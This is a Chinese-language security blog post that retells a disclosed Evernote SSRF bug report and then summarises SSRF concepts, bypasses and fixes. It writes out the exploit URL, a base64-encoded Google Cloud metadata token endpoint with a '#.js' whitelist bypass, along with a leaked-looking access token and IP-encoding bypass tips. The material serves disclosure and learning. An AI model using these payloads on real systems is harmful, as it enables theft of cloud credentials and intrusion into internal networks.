0x00:起源
今天在群里批露了一个h1的报告，关于Evernote SSRF的，群里有一位师傅
在面试的时候问道SSRF如何修复，师傅回答到说ip端口白名单，协议禁用这一些，面试官回到到网络上的资料都这么写，但实际生产中是基本无效的。这顿时我就来了兴趣，最近在因为要暑期实习在背八股文，我恰好也背了SSRF的修复措施，和师傅答的不能说一模一样，但也基本一致。
报告上的修复方案提到
by deploying a metadata concealment proxy to disable access to metadata information. We also disabled access to internal IPs on all infrastructure subsets
让我们回到neolex的博客，看更多的细节
对rul中的编码解码：
L2Y2Y2RkNGJkZmE0YzFiODZmNDQxYzdjMjlmMDcyZTUxMWRkMzQ1MDEuY3Nz
得到：
/f6cdd4bdfa4c1b86f441c7c29f072e511dd34501.css
而f6cdd4bdfa4c1b86f441c7c29f072e511ddd34501.css的内容显示在响应中，这个时候推断SSRF！
经过一段时间的尝试，neolex师傅了解到 url/filepath 必须要以 .css 或 .js 结尾的白名单
最终编码成这样去访问：
https://www.evernote.com/ro/aHR0cDovL21ldGFkYXRhLmdvb2dsZS5pbnRlcm5hbC9jb21wdXRlTWV0YWRhdGEvdjFiZXRhMS9pbnN0YW5jZS9zZXJ2aWNlLWFjY291bnRzL2RlZmF1bHQvdG4305ZW48Lmp.js/
Base64解码后的样子（注意这里的#.js）：
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token#.js#.js
服务器不会对其进行解释，但允许添加扩展，最终通过#.js 绕过了白名单
{"access_token":"ya29.c.Ko4B_gd-ROPkMva4XDYr-U2r-G_KMv8hy6ViP1f3kotzmmW9aiK8Zphl0QSOEBgqTSiBYtV-Yuy6-innnpf-0IQEgmBqWU_wT2ZYmGjceeyNB79WxYgDnBrOegozvYYOenisR-xBnkDX_AzAFGsDaToQ87QNHNjpK8CLeoFb3jZkO4D7mn532qv7NYuD9CIH0w","expires_in":2298,"token_type":"Bearer"}; 译自：https://blog.neolex.dev/13/
0x01:感想
让我们回到一开始学习ssrf。
服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
0x02漏洞危害：从网上收集的图片，笔者本身也是接触的少
笔者自身的挖掘经验就是只要有请求地址或者功能的位置就可能存在SSRF,比较知名的就是某翻译软件的ssrf漏洞
0x03：绕过方法
- 更改ip地址写法
开发者会对rul传参进行正则过滤掉内网的ip，对于这种过滤我们可以采用IP编码的方式进行绕过，如进制转换
- 使用解析到内网的域名
如果服务器没有先解析再过滤掉内网地址，那我们可以用localhost来等解析到内网的域名，或者xip.io网站的功能也可以使ip变成域名，如：www.192.168.1.1.xip.io 解析成192.168.1.1
0x04: 防御方法
只能总结一下网上的方法
1过滤返回的信息，统一错误信息2.限制请求的端口3禁止不常用的协议
总结h1上的报告来说就是1.禁止访问内网地址2. 禁止访问元数据
